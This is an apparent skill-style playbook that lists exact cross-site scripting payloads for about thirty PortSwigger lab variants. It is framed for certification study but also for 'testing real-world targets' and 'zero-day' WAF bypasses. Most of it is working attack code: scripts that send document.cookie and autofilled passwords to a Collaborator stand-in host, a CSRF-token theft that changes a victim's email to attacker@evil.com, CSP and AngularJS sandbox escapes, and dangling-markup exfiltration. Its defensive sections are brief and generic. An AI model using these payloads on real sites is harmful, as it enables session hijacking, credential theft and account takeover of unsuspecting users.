By name: "Cross-Site Scripting (XSS) — Complete Deep Dive" description: "Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques" domain: cybersecurity subdomain: bug-hunting version: "1.0.0" category: "bug-hunting/deep-dive-labs" tags: [portswigger, deep-dive, exploitation, zero-day, lab-solutions] mitre_attack: ["T1059.007"] tools: [burp-suite, curl, sqlmap, ffuf, python] difficulty: "advanced"
Cross-Site Scripting (XSS) — Complete Deep Dive
Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. Difficulty: 🟢 Apprentice 🟡 Practitioner 🔴 Expert
When to Use
- Studying for BSCP (Burp Suite Certified Practitioner) certification
- Testing real-world targets for these vulnerability classes
- Bug bounty hunting — these exact techniques find real bugs
- Building exploitation chains
Prerequisites
- Burp Suite Professional (Community works for most)
- Browser with proxy configured
- Burp Collaborator or interactsh for OOB testing
Workflow
Phase 1: Reconnaissance
- Identify input vectors, parameters, and application behavior.
Phase 2: Exploitation
- Apply standard lab payloads.
Phase 3: Zero-Day Escalation
- Fuzz filters, bypass WAFs, and chain with other vulns.
Lab Playbooks
Lab 1: Reflected XSS HTML context nothing encoded 🟢 APPRENTICE
<script>alert(1)</script>
Inject in search parameter. No encoding = direct execution.
Lab 2: Stored XSS HTML context nothing encoded 🟢 APPRENTICE
<!-- In comment field: -->
<script>alert(1)</script>
Payload persists. Every user who views the page triggers it.
Lab 3: DOM XSS document.write location.search 🟢 APPRENTICE
"><svg onload=alert(1)>
The sink document.write() writes the search parameter directly. Break out of the existing tag.
Lab 4: DOM XSS innerHTML location.search 🟢 APPRENTICE
<img src=1 onerror=alert(1)>
innerHTML doesn't execute <script> but DOES execute event handlers like onerror.
Lab 5: DOM XSS jQuery href location.search 🟢 APPRENTICE
javascript:alert(1)
jQuery sets attr('href', userInput). Inject javascript: protocol in the returnPath parameter.
Lab 6: DOM XSS jQuery selector hashchange 🟢 APPRENTICE
<iframe src="https://TARGET/#" onload="this.src+='<img src=1 onerror=print()>'">
jQuery $() selector processes location.hash and creates DOM elements from it.
Lab 7: Reflected XSS attribute angle brackets encoded 🟡 PRACTITIONER
" autofocus onfocus=alert(1) x="
Angle brackets are encoded but you're INSIDE an attribute. Break out with " then add event handler.
Lab 8: Stored XSS anchor href double quotes encoded 🟡 PRACTITIONER
javascript:alert(1)
In the website field of comment form. The value goes into <a href="VALUE">. Use javascript: protocol.
Lab 9: Reflected XSS JS string angle brackets encoded 🟡 PRACTITIONER
';alert(1)//
You're inside a JavaScript string. Close string with ', terminate statement with ;, execute, comment rest.
Lab 10: DOM XSS document.write select element 🟡 PRACTITIONER
product?productId=1&storeId="></select><img src=1 onerror=alert(1)>
Close the <select> tag first, then inject your payload.
Lab 11: DOM XSS AngularJS expression 🟡 PRACTITIONER
{{$on.constructor('alert(1)')()}}
AngularJS evaluates expressions in {{ }}. Access Function constructor to execute arbitrary code.
Lab 12: Reflected DOM XSS 🟡 PRACTITIONER
\"-alert(1)}//
The app uses eval() with JSON response. Escape the backslash escaping, break JSON string, inject.
Lab 13: Stored DOM XSS 🟡 PRACTITIONER
<><img src=1 onerror=alert(1)>
The replace() function strips <> but only the FIRST occurrence. Add a sacrificial <> pair.
Lab 14: Most tags and attributes blocked 🟡 PRACTITIONER
<body onresize=print()>
Use Burp Intruder to fuzz which tags/events are allowed. Deliver via:
<iframe src="https://TARGET/?search=%3Cbody+onresize%3Dprint()%3E" onload=this.style.width='100px'>
Lab 15: All tags blocked except custom 🟡 PRACTITIONER
<xss id=x onfocus=alert(document.cookie) tabindex=1>#x
Custom tags aren't blocked. Use tabindex + onfocus + URL fragment #x to auto-focus.
Lab 16: Some SVG markup allowed 🟡 PRACTITIONER
<svg><animatetransform onbegin=alert(1)>
Fuzz with Burp Intruder to find allowed SVG tags and events. animatetransform + onbegin often survives.
Lab 17: Canonical link tag 🟡 PRACTITIONER
'accesskey='x'onclick='alert(1)
Inject into canonical <link> tag attributes. User must press ALT+SHIFT+X (Chrome) to trigger.
Lab 18: JS string single quote backslash escaped 🟡 PRACTITIONER
</script><script>alert(1)</script>
Can't escape the string? Break out of the entire <script> block instead.
Lab 19: JS string angle brackets double quotes encoded single quotes escaped 🟡 PRACTITIONER
\';alert(1)//
The app escapes ' to \' but doesn't escape \. Your \\ neutralizes their \, and ' closes the string.
Lab 20: Stored onclick angle brackets double quotes encoded 🟡 PRACTITIONER
http://foo?'-alert(1)-'
In website field. HTML entity ' decodes to ' inside the onclick attribute.
Lab 21: Template literal Unicode-escaped 🟡 PRACTITIONER
${alert(1)}
Inside a JS template literal (backticks), ${} expressions execute regardless of other escaping.
Lab 22: Steal cookies via XSS 🟡 PRACTITIONER
<script>
fetch('https://BURP-COLLAB.net/?c='+document.cookie);
</script>
Lab 23: Capture passwords via XSS 🟡 PRACTITIONER
<input name=username id=username>
<input type=password name=password onchange="fetch('https://BURP-COLLAB.net/?u='+username.value+'&p='+this.value)">
Browser autofill populates credentials. onchange fires when password manager fills the field.
Lab 24: XSS to bypass CSRF 🟡 PRACTITIONER
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&email=attacker@evil.com')
};
</script>
Lab 25: AngularJS sandbox escape no strings 🔴 EXPERT
toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
Lab 26: AngularJS sandbox escape + CSP 🔴 EXPERT
<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(document.cookie)'>
Deliver via: ?search=<input id=x ng-focus=...>#x + click event from external page.
Lab 27: Event handlers and href blocked 🔴 EXPERT
<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click</text></a>
SVG <animate> dynamically sets the href to javascript: after initial render.
Lab 28: JS URL some characters blocked 🔴 EXPERT
javascript:fetch('/x]').then(x=>x.text()).then(x=>fetch('https://COLLAB/?'+x))
URL-encode blocked chars. Test which chars are filtered using Burp Intruder.
Lab 29: Strict CSP dangling markup 🔴 EXPERT
"><table background='//COLLAB.net?
Dangling markup captures subsequent HTML (including CSRF tokens) and sends to attacker server.
Lab 30: CSP bypass 🔴 EXPERT
<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'
Exploit CSP injection: inject a policy directive that allows inline scripts.
Blue Team Detection
- Monitor access logs for anomalous payloads.
- Implement strict input validation and parameterized queries where applicable.
- Create WAF rules masking generic attack patterns.
Zero-Day Research Methodology
When a standard technique doesn't work:
- Identify the filter: What chars/patterns are blocked?
- Research bypasses: Search GitHub, Twitter, PortSwigger Research for new techniques
- Fuzz extensively: Use Burp Intruder with custom charset/tag lists
- Chain vulnerabilities: Combine two medium findings into one critical
- Check encoding layers: URL, HTML entity, Unicode, double-encode, XML entity
Key Concepts
| Concept | Description |
|---|---|
| PortSwigger Vectors | Standardized approaches to vulnerability classes. |
| Payload Encoding | Modifying payloads to bypass basic string matching WAFs. |
Output Format
Vulnerability Deep-Dive Report
==============================
Target Vector: [Endpoint]
Bypass Technique: [Explanation of bypass]
Payload Used: [Payload]
Impact Explanation: [Impact]
🔵 Blue Team
- Deploy robust WAF rules to detect anomalies.
- Monitor logs for unusual access patterns.
🛡️ Remediation & Mitigation Strategy
- Input Validation: Sanitize and strictly type-check all inputs.
- Least Privilege: Constrain component execution bounds.
📚 Shared Resources
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.md— Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.md— HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.md— Verified disclosed bounties by vulnerability class